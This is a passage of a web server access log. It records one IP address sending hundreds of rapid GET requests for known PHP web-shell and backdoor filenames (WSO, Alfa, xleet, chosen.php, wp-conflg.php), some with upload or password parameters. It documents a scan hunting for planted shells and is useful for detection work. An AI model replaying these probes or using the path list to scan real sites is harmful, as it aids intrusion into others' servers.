HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:18 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:19 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:21 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:21 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:22 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:23 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:24 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:25 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:26 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:27 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:27 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:28 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:28 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:29 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:30 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:31 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:31 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:31 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:32 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:33 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:34 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:35 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:35 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:36 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:36 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:37 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:38 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:38 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:39 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:39 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:40 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:41 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:41 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:42 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:43 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:43 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:44 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:44 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:45 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:45 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:46 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:46 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:47 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:47 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:48 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:48 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:49 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:49 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:50 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:50 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:51 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:51 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:52 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:53 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:53 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:54 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:54 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:54 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:55 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:55 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:56 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:56 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:57 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:57 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:58 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:58 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:59 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:59 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:59 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:00 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:00 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:01 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:01 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:02 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:03 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:04 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:05 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:06 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:08 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:09 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:10 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:11 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:12 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:12 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:13 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:14 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:16 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:16 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:17 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:18 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:18 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:19 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:19 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:20 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:20 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:20 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:21 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:21 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:22 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:22 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:23 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:24 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:25 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:26 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:26 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:27 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:27 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:27 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:28 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:29 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:29 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:30 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:30 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:31 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:31 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:32 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:32 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:33 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:33 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:34 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:34 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:35 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:35 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:36 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:36 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:37 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:37 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:38 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:38 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:39 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:39 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:40 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:41 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:41 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:42 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:42 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:44 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:44 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:45 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:45 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:46 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:47 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:47 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:48 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:48 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:49 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:50 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:50 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:51 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:51 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:52 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:52 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:53 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:53 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:54 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:54 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:55 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:56 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:56 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:56 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:57 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:58 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:58 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:59 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:17:59 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:00 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:00 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:00 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:01 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:01 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:02 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:02 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:03 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:04 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:04 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:05 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:06 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:07 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:07 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:08 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:10 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:11 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:11 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:12 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:13 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:13 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:14 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:14 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:15 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:16 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:16 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:16 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:17 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:18 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:18 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:20 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:20 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:21 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:21 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:22 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:22 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:23 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:23 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:24 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:25 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:26 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:27 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:28 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:29 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:32 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:34 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:36 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:39 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:40 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:41 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:43 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:45 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:46 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:47 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:48 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:50 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:51 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:51 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:51 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:52 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:52 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:53 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:54 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:54 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:55 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:55 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:56 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:57 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:57 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:58 -0400] "GET 